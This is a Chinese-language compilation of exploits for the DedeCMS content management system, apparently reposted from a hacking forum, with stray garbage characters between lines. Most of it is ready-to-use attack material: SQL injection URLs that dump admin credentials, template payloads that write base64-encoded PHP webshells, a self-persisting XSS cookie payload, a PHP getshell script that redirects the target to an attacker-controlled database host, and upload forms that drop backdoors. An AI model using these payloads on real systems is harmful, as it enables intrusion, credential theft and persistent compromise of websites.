dedecms漏洞总结

admin

6 p  f- G* f# v0 G' {Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
: I7 t/ k4 o) Y  l+ n9 J, |( G
( U, \, d/ o* o; C, O( {  Z

2 v; K: B& C( w5 Q6 h+ Q; r8 b6 g
2 G8 g3 D! N, b1 H+ _2 P
4 H! E5 {0 Z( o3 W# @5 y* U/ x
' m* D, q, L; B8 d8 W0 L
1 I, ?/ V5 S) @8 S6 m6 v$ z
DedeCms v5.6 嵌入恶意代码执行漏洞
+ `- B5 }- q. ~: I注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
( `8 p( r1 v6 b$ A; ^
9 j7 I; s1 ~& ~; L- H


# a5 o- }$ g; r8 T
8 J) E. q: Z5 P3 _" v# P
  D& o2 j: T) e; _) u
! u2 A" j4 v% b4 j" X
Dede 5.6 GBK SQL注入漏洞
( }- e" k$ b3 c* n0 xhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
; |+ p1 @) C* h( I3 ^6 D




' P) y5 H" k* G9 t8 w7 S! E8 N: `5 }
$ |* T1 ~7 b0 U8 C' A6 x
" c* U  I+ V. S# ~6 ~* N1 f7 H
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

% P1 Z  a5 _- Q* \+ L: @4 @
; |7 ?3 M# V' s



2 V7 f# s' q9 t( JDEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

; O* A7 c+ a8 e2 Z7 Z& S
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
' W; E& k( |' |) p6 ^http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


' I7 e( H: N% S' uhttp://v57.demo.dedecms.com/dede/login.php
6 b' v, n6 x* d2 N
) ]) {; P3 k0 z' T3 k8 I. P4 J
1 }, q2 o/ ]$ V) Lcolor=Red]DeDeCMS(织梦)变量覆盖getshell
5 `& i3 B+ j7 E#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
DEDEcms Variable Coverage
  k8 l. I6 K: ?" fExploit Author: www.heixiaozi.comwww.webvul.com
);
$ \+ R4 V, Z2 c3 h$ b$ Iecho "\r\n";
if($argv[2]==null){
7 f- U% C6 V8 K3 `% Tprint_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
* Y& ~/ Q# t5 |0 dExample:
php '.$argv[0].' www.site.com 1 old
9 r% P3 N, R$ g. [+---------------------------------------------------------------------------+
');
" C4 N9 |( M6 |+ t. D" \exit;
( V* U- m% g. m8 I9 b: X: ]}
$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
) I! {& w. c5 Uecho "
Exploit Success \n";
4 b5 V8 R- P5 T8 ^( I6 c; j3 Hif($aid==1)echo "
+ ^: h) P, e! Z2 NShell:".$url."/$path/data/cache/fuck.php\n" ;


% {' g( E2 z) ^! v1 L) Oif($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
0 N: {$ p. H' H& w0 d5 P
$ @3 U5 u' Y! {/ G$ U
7 N5 p' M- z+ m# B) k+ Y( |$ Yif($aid==3)echo "
; G0 V+ ]- }* Z* ~8 FShell:".$url."/$path/plus/fuck.php\n";
8 J& S2 }) ]* B  ~

/ @: Y% X5 g% z1 ?& S2 ]}else{
1 \, Q' \4 N# m- g5 e: [echo "
2 ~( B% [5 A; I8 m, ~# MExploit Failed \n";
}
function Getshell($url,$aid,$path){
+ {) u; h7 Y. `8 B' {) Q3 M1 Y$id=$aid;
7 T- q: k. o6 w$ X. t9 A0 g# q$host=$url;
  w$ v+ R4 q) ~5 Z# U6 R. s# ]( P% A$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
; U# X0 I) K: k6 ~2 v, v$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
+ w: l5 K+ l- a9 Y% D, e: C$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
& G; _7 l/ G, O7 `# u$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
: Q* l4 m! i' C$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
7 ^# {) N, n/ L1 |if (!$ock) {
echo "
( ^( F0 w% @$ U2 Q/ Q5 |% J; t& _No response from ".$host."\n";
* ?9 T+ G" l% \: w& k9 ]}
/ q7 E6 U. E, G5 hfwrite($ock,$data);
  q9 w3 A4 ?0 xwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
0 `0 ?" }6 L: d# q8 \9 ~}
}


?>
+ R- P5 h: r8 f
, C1 k; }; z% M+ S+ B
2 l/ S$ `$ j  |


& }2 O0 |* d5 ~, i5 @
& }2 w' b* S2 e) r+ T, H! w# x/ ?
2 E" H) X7 B( A, g7 B3 {. I0 @
9 E( @7 L) B/ _' s

" T2 H$ u0 S3 H$ _4 s! o8 v: \DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


& ]& q& b6 F* J+ D) `  V3 L" w" b) z把上面validate=dcug改为当前的验证码，即可直接进入网站后台

7 Q$ S+ m2 Q" u; c, C3 b/ m
此漏洞的前提是必须得到后台路径才能实现
8 [. C# ]0 |) H
  V8 ~( o2 v# u2 ?# n! [

: o4 M: ^, U! m8 r) A; Y

# W) _9 l4 R! z+ L, t
: |1 h4 S( j9 p: I0 t& N5 T# i! y# a
5 a* `$ a* V7 _$ \! _


Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


" z" r3 G" D, ~& L再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
1 i- C  z% p. i3 A  q<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
) g4 W0 _; R3 Z* q2 a: i3 m<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
8 j& m+ `7 }! j6 P, o- i7 i, u, P<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
6 Q. \% K  u7 B% Z. r$ R<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
2 M6 S7 W# |2 t  h<script>
function addaction()
" g# j2 @8 {; f4 e; b1 H" N# o{
* N2 p: p* G8 r, N' `( V: p& idocument.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>

& I9 j8 W* h- N8 K0 \  K
. R7 g8 V4 @/ c- F/ ]' k0 p- Z1 T' f
+ n5 ?$ _# W' G# ~8 i
+ d4 q  ]: E' T/ h: d6 `


) s% M" u" H$ ]& M" m" ^( x
: k1 Q- \' i5 P8 |( v
/ e. k! L) \3 N* @
/ q% `3 r* L2 ?5 |; f- h, K) NDedeCms v5.6 嵌入恶意代码执行漏洞
2 ^' T; D; a" F" R注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
/ [% _: Q' z$ u: z1 O+ M  P) na{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
3 n" ^/ U# L8 R- R' F+ v: kDedecms <= V5.6 Final模板执行漏洞
/ S- y' l0 [+ d3 t7 Y( E注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
- p9 |- _# m- j; C2 huploads/userup/2/12OMX04-15A.jpg


模板内容是（如果限制图片格式，加gif89a）：
& }" u5 a* }, W; ?& l* o8 u{dede:name runphp='yes'}
8 r- x3 w6 ^1 r$ e" F( {$ }, v$fp = @fopen("1.php", 'a');
/ }8 o$ J; \# M@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
# S) Y# V/ ^" L& o@fclose($fp);
{/dede:name}
, j# B% }) E% D2 修改刚刚发表的文章，查看源文件，构造一个表单：
* w% L7 d! q3 O<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
; E7 X( b% m/ q8 }3 _% P<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
9 M7 w% ]6 H9 z<input type="hidden" name="channelid" value="1" />
6 Z7 r0 A( f7 _! v& T<input type="hidden" name="oldlitpic" value="" />
, c& S: @( r2 B- U6 E<input type="hidden" name="sortrank" value="1275972263" />
" K& i0 f. a' M/ X3 l1 ?% ^

<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
; `4 ~" l# \+ Y
* s2 _+ R" l% R) d% m' D
<div class="postForm">
9 w6 N$ D3 q/ _, Y1 w3 P& `<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

6 }: n$ T: [) M6 x: h
' a+ N) Y! F  f4 }! X" p! w<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
. Y" _' w, L/ y) b6 C  i; @) [5 v

, {% K; P1 Q7 `7 W7 B. j<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
8 q) I* s" u( b, x" x8 w  e- E1 j

<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
5 s/ u; d7 G" M1 N: }& L6 m4 l0 Y</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
0 ]# U/ @5 W* d' L( c  K

<label>我的分类：</label>
<select name='mtypesid' size='1'>
) |" j4 N% ~4 K5 O8 [' W<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
( h" w* x+ K4 _& k, G# x</select>

  z0 ?5 a0 Y2 K# z) g( V
<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

! N3 C. n- R) c  F) V% b7 p
<label>缩略图：</label>
- |) _, {4 M$ E* A<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
: V1 u% q+ {; f6 a5 `  x8 f  }

! y( R* j& V( E7 ~<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
& Z* [* R# M( Q: z) o0 @6 I+ F<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>

5 C) m6 _2 P, {( W1 F
( b: I2 E0 M' l6 m<!-- 表单操作区域 -->
7 F6 {+ n. S3 _# w8 G<h3 class="meTitle">详细内容</h3>
* H7 a$ ]& ]8 o4 \) y8 _, p% ~
7 z! S- X3 G. e# n& F
; u2 P9 [9 n* U1 }- `<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
2 ?% |! H5 W( R2 q

" Q6 T' X5 g/ ~<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />


<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
3 @' a. T3 F: R/ ?</div>
/ H; N% {' F9 o  n! t

/ |8 n. E' T% P: Z7 u</div>


</form>
3 N; E/ r& H/ N* E# }1 R# Q) r
; F6 c# D- f9 t$ l% k# j
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
' f( D; @9 L  v- v假设刚刚修改的文章的aid为2，则我们只需要访问：
/ D% h4 ]8 ]% V2 k$ ?( ahttp://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
9 m( n" B* G: U6 b. H! l
: h) }! V4 H+ E% w7 _8 U7 z3 C# m6 P

! @' Q; [+ M# B8 W) D- S: [. j- a

: `' W6 S, ^( G3 |

/ y1 ?2 D% [7 C* C) G% E2 b
0 Q  i/ \: ^' ]# }2 \3 S
9 k9 ]3 }% h( B) r8 U2 Z. n

3 H; {# e; g# I6 X1 ?
1 m- e4 z" K9 ~$ eDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
" @; L& z. a( y& [8 {# W' _- ]Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
% r- ^- {( U* ^4 k$ ~{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
9 W. V/ T1 i" L( p4 ]<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
" R8 Z( r* I0 X6 E<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
; J2 ?, }/ ^& J5 P' \& R, c<input name="addonfile" type="file" id="addonfile"/>
7 D- G: r  B& o! t0 F+ a<button class="button2" type="submit" >更改</button>
) U; T+ o+ _& p2 z; X; u, B4 V  p</form>


7 B1 c/ m1 B0 z* T, V- ?5 P构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
7 d/ d) X( s9 U! f3 d发表文章，然后构造修改表单如下：
! g+ Q; `! m' R3 K; a
# p& e+ ]5 N$ [' e. b* k
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
, K, B3 O0 g' ]& F" Z$ q- f7 I5 }<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
, C. P: b3 K% Q4 \  e2 F) z/ L<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
/ D$ k; F& [% i) [( h5 a& A<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
: o% F) Y  ~) w/ }<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
3 {) M/ E! P* B% R2 o5 L<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
6 u* m9 }+ w! U8 F' C/ f8 s<select name='typeid' size='1'>
( a3 ~8 r( G; E% @/ H<option value='1' class='option3' selected=''>Test</option>
% ]! [- C$ `& j) M; h8 f  E<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
6 b7 T7 Q; |) U: ^! u: r  M' T<input type='hidden' name='dede_addonfields' value="templet">
% S4 x  C, J% `6 Q" v: k1 R<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
1 n5 `4 U5 r1 ~  k' a- b<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>


% J: e2 `7 c2 C/ s2 A7 R
6 Q8 P* w/ g0 ]& h) D! s
. t' {) S" }5 {. a' g, S" y
7 D! c2 e- G4 ]: {7 h: M- X/ o) w


/ E8 @7 n4 f; u2 s7 U. q
# z2 F% J6 i/ b/ K/ X5 @$ E


织梦(Dedecms)V5.6 远程文件删除漏洞
' E% c4 J0 d/ s( Ghttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
# I# `( r' A6 S
" Z' l# u# h2 R" b) Z) |
1 {3 d" w0 w0 |/ Q
: {) K- R% n+ f* U! p) V





) A, V7 T7 o/ Z% z1 \% g
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
2 Z+ G+ ?; _8 |1 k8 ~3 Lhttp://www.test.com/plus/carbuya ... urn&code=../../

) f2 k8 x! |/ Y) ^








" ^, I0 R) G; t8 p1 aDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
& J) B4 }4 p' F+ l. n9 M9 h密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5



8 x6 b. w$ t# ?# g$ v# b* c- T3 R



- s, l$ t8 ?- x$ v
4 i* @$ F! |: p4 x7 i

织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
  ?& K" e* x5 X0 Mhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
( z  G* J- S! J/ X* K


, C6 T) e- e3 d& x6 I
4 N! P. X' {6 }  a- E5 e* ^

: y# Q: u5 J5 g7 G1 c% {


4 X1 I2 `$ P) c
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
4 M9 }+ W9 g9 t8 l" ^! `- L<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
0 d6 S+ H  ~% O# t! G- I<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
, A# E  S5 C  }<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
* T# b! j  _& [! Q+ A<input type='hidden' name='cfg_imgtype' value='php' />
- U7 p$ w& S1 o* e! n3 B* u# |2 i<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
; Y& n2 c# F% b2 \3 M<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
* M% h, e- T5 M<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
* ~( k/ J! V2 l" \- c6 iSelect U Shell <input type='file' name='uploadfile' size='25' />
) a, m, {5 H# x  L3 u; F2 W<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
! ]# d+ a- W: t) ^+ D1 A3 j: H5 t% gFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
* a$ D6 `/ P; a/ r</html>
& h3 U0 y7 `# O( l( S4 R/ G  R4 i


1 [* G' y' b0 ]8 Q. q. o: i
6 r# s) c& N# `8 D$ r& N
& f& e! p/ n; I3 z

  Y0 H( ?9 Y* a) H6 U& a


+ L; |- G0 }# N' X织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
3 q* t# K5 M( U( A+ _1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
% ^; b) b+ ^8 A& D0 j, r可看见错误信息

; Z. I; w# v) g& `+ }* a6 B
6 h$ R- r& s, W) {/ ?( K( Y2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
' m1 n5 z7 n. L+ Z( Iint(3) Error: Illegal double '1024e1024' value found during parsing
) I( S/ R( ~9 f1 X# W6 d2 U$ GError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
& f# q; q/ I! Y" N3 ?
# n! I/ ~0 J3 _; Z
3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

5 L( S+ K6 C. F, w
0 i( D8 f* r6 I! Q1 [按确定后的看到第2步骤的信息表示文件木马上传成功.



3 T! t/ B% U  ]! O" b+ d# K5 p( s

- L7 W8 f2 O. i* v# j7 V8 n! |% }

3 O. X& I- F- K0 z2 A0 v2 `

: T! v) v, n5 k3 U! Z2 k


织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*